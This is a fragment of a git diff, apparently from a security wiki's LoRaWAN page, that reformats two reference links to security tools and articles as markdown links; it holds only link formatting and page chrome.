* Bishop Fox – “h2c Smuggling: request smuggling via HTTP/2 clear-text” <https://bishopfox.com/blog/h2c-smuggling-request>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@ -94,6 +94,6 @@ Force SF12/125 kHz to increase airtime → exhaust duty-cycle of gateway (denial
|
||||
|
||||
## References
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Trend Micro LoRaPWN overview – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
* LoRaWAN Auditing Framework (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
* Trend Micro LoRaPWN overview – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user